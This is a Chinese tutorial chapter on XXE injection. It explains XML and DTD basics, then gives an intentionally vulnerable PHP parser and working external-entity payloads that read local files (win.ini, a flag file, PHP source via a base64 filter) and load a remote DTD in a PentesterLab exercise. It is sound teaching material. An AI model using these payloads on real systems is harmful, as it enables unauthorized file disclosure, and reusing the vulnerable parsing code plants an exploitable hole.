第八章-XXE漏洞

第一节 XML快速入门

1.1 XML介绍及用途

XML 被设计用来传输和存储数据。XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。XML 允许创作者定义自己的标签和自己的文档结构。

<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

1.2 XML语法规则

1、所有的 XML 元素都必须有一个关闭标签

2、XML 标签对大小写敏感

3、XML 必须正确嵌套

4、XML 属性值必须加引号

5、实体引用

6、在 XML 中,空格会被保留

1.3 XML元素介绍

XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。

每个元素又可以有对应的属性。XML 属性必须加引号

注意:

​ XML 文档必须有一个根元素

​ XML元素都必须有一个关闭标签

​ XML 标签对大小写敏感

​ XML 元素必须被正确的嵌套

​ XML 属性值必须加引号

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

1.4 XML DTD介绍

拥有正确语法的 XML 被称为"形式良好"的 XML。通过 DTD 验证的XML是"合法"的 XML。

<?xml version="1.0" ?> 
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
<to>Tove</to> 
<from>Jani</from> 
<heading>Reminder</heading> 
<message>Don't forget me this weekend!</message> 
</note>

第二节 DTD快速入门

2.1 DTD声明类型

内部的 DOCTYPE 声明:

<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>
note.dtd
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

2.2 DTD数据类型

PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

2.3 DTD实体介绍

实体是用于定义引用普通文本或特殊字符的快捷方式的变量

内部实体:

<!ENTITY entity-name "entity-value">

外部实体:

<!ENTITY entity-name SYSTEM "URI/URL">

2.4 XML注入产生原因

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

第三节 简单XXE漏洞代码编写

3.1 file_get_content函数介绍

file_get_contents() 函数把整个文件读入一个字符串中。

3.2 php://input介绍

php://input 是个可以访问请求的原始数据的只读流。

结合file_get_contents(“php://input”)可以读取POST提交的数据。

案例说明:输出POST提交的内容。

3.3 simplexml_load_string函数介绍

php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement

例如:
$note=<<<XML<note>     <to>Tove</to>     <from>Jani</from>     <heading>Reminder</heading>     <body>Don't forget me this weekend!</body></note>XML;

$xml=simplexml_load_string($note);
print_r($xml);

3.4 XML注入回显 输出函数

在PHP中可以使用 print_r() 、echo 输出想要输出的内容。

给出完整存在XXE漏洞代码:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>
读取本地文件Payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<root>
<name>&xxe;</name>
</root>

第四节 XXE漏洞简单利用-任意文件读取

4.1 测试代码介绍

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>

4.2 php中测试POC

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

4.3 读取文本文档

Payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/flag.txt" >]>
<value>&xxe;</value>

4.4 读取PHP文件

直接利用file协议读取PHP文件会出现错误,那么需要使用base64编码来进行读取。
Payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=test.php
" >]>
<value>&xxe;</value>

第五节 XXE漏洞利用-任意文件读取

5.1 环境搭建

直接在VM中新建虚拟机,加载iso镜像即可。 默认用户名和密码 都是 pentestlab

下载地址:https://isos.pentesterlab.com/play_xxe.iso

5.2 测试原理

5.3 请求XML

<?xml version="1.0"?>

<!DOCTYPE foo SYSTEM "http://192.168.1.103/test.dtd">

<foo>&e1;</foo>

5.4 服务器DTD

使用gedit将test.dtd中内容设置为下图的文件内容。

使用wireshark 抓取http包查看信息。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值